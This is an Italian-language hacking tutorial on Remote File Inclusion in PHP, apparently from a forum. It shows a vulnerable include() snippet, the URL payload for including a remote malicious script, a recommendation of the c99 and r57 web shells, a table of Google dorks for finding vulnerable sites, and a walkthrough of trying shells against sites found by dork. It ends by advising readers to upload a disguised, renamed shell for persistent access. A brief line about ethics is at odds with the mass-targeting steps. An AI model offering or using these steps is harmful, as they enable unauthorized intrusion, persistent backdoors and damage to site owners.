RFI (Remote File Inclusion)
by Nos9110 & edit by FallChallenge.
Menu—-
1)Rfi
2)sfruttare rfi
3)shell php
4)trovare siti vulnerabili (dork)
5)esempio pratico
1)*****
Ciao ragazzi, quante volte avete sentito parlare di
RFI? Cos’è? Rfi sta per Remote file inclusion, dopo
aver letto questa guida e aver fatto un po di pratica
saprete sfruttare questa vulnerabilità al meglio.
Remote file inclusion vuol dire File incluso da remoto,
perciò la tecnica consiste nell’includere un file…ma
come? sfruttando delle variabili non controllate nelle
pagine web dinamiche…
2)*****
facciamo un esempio
——-codice: index.php?pag=prova.php——
$variabile1=$_GET[‘pag‘];
include($variabile1);
——fine codice———
Cosa fa questo script? assegna il valore prova.php alla
variabile chiamata “variabile1” e tramite la funzione
include la include nella pagina. Come possiamo sfruttare
questa vulnerabilità? supponiamo di avere uno script in
php maligno uppato su uno spazio web e che il suo
percorso sia http://sito.com/script.txt (l’estensione
dello script non deve essere .php perchè altrimenti
verrebbe eseguito sullo spazio uppato non sul sito
vulnerabile, perciò diamogli quella che volete, txt,
jpg, basta che non sia .php) basterà andare su
index.php?pag=http://sito.com/script.txt e….
Olè lo script verrà incluso e potrete usarlo come
meglio credete.
3)*****
Cosa sono le shell php? sono degli script con cui potete
fare di tutto da uppare file, editare, cancellare,
eseguire i comandi del terminale.le più famose sono la
c99 e la r57…Vi consiglio di usare la c99, qui non vi
spiegherò come usarle perchè è molto banale e
l’interfaccia è molto socievole, comunque mi sembrava
giusto dare uno spazio anche a loro nella guida.
la shell si usa come un qualsiasi script
sitovulnerabile.net/index.php?variabile_non_controllata=indirizzo_shell.txt
4)*****
Per trovare i siti vulnerabili al rfi, si possono usare
gli scanner (di solito sono script in perl che cercano
i siti tramite i motori di ricerca) oppure si cercano
a mano, tramite le dork…
[NOTA DEL LETTORE: cosa sono ste dork?]
Le dork sono dei comandi per sfruttare al meglio un
motore di ricerca, per esempio google…
mettiamo che volessimo cercare il nome di un file,
chiamato “ciao.txt” mettendo semplicemente
“ciao.txt” nella ricerca google cercherebbe tutti
i sito con all’interno la parola ciao.txt ma non
all’interno del nome, ALL’INTERNO DEL CONTENUTO!
Ecco qui che ci viene in aiuto la dork
inurl:NOMEFILE per cercare all’interno del nome.
Mettiamo per esempio di voler trovare un sito
con la shell c99.txt uppata per attuare un attacco.
basterà andare su google e digitare
inurl:c99.txt
chiaro il concetto?
[NOTA DEL LETTORE: Come trovo i siti vulnerabili?]
ecco ci stavo arrivando, innanzitutto per etica non penso sia carino cercare siti in gran massa solo per puro divertimento, ma avere un bersaglio preciso con l’unica intenzione di segnalare il bug in ogni caso. Facciamo un esempio
uno dei più banali, che in un sito la variabile get
venga usata così index.php?page=…..
la dork sarà:
—
inurl:index.php?page=
—
oppure
inurl:index.php?include=
ecco qui qualche dork utile:
._____________________________________________________.
| Bug | Dork |
|—————————————————–.
| index.php?x= | inurl:”index.php?x=*.php” |
| index.php?nic= | inurl:”index.php?nic=*.php” |
| homepage.php?sel= | inurl:”homepage.php?sel=*.php” |
| index.php?sel= | inurl:”index.php?sel=*.php” |
| main.php?x= | inurl:”main.php?x=*.php” |
| index2.php?x= | inurl:index2.php?x=*.php” |
| main.php?pagina= | inurl:”main.php?pagina=*.php” |
| test.php?page= | inurl:test.php?page= |
|___________________|_________________________________|
PS. di dork cene sono a migliaia e una volta trovato
un bug potrete farne di vostre…
5)*****
Ed ecco ora la descrizione dell’esempio pratico
________________________.
occorrente: |
————————.
un PC |
connessione ad internet |
web browser |
una dork |
una shell uppata |
________________________|
Allora andiamo sul nostro bel motore di ricerca preferito Google (http://google.it)
proviamo a inserire una dork
inurl:index.php?page=include/
troviamo vari siti
vediamo il primo
http://sitoacazzo.it/index.php?page=include/pagina.txt
bene proviamo ad includere la shell
http://sitoacazzo.it/index.php?page=indirizzo_shell
la parte della pagina dove dovrebbe stare la shell
è vuota/un errore, non possiamo sfruttare
il rfi.
proviamo il sito dopo
http://sitoacazzo2.it/index.php?page=include/chat.php
proviamo ad inserire la shell
http://sitoacazzo2.it/index.php?page=indirizzo_shell
appare la shell, bene ora potete fare tutto ciò che volete
il mio consiglio comunque è quello di addentrarvi
nelle cartelle del sito e fare un upload della shell
in modo da avere un accesso a quel sito anche sen il bug
venisse risolto.Naturalmente se nella cartella forum ci sono file come
msg.php viewprofile.php login.php
penso che non sarete tanto stupidi da mettere SHELL_C99.php
camuffate il tutto occhio!
Bene questo è tutto…
Spero che questa guida sia stata utile…
Commenti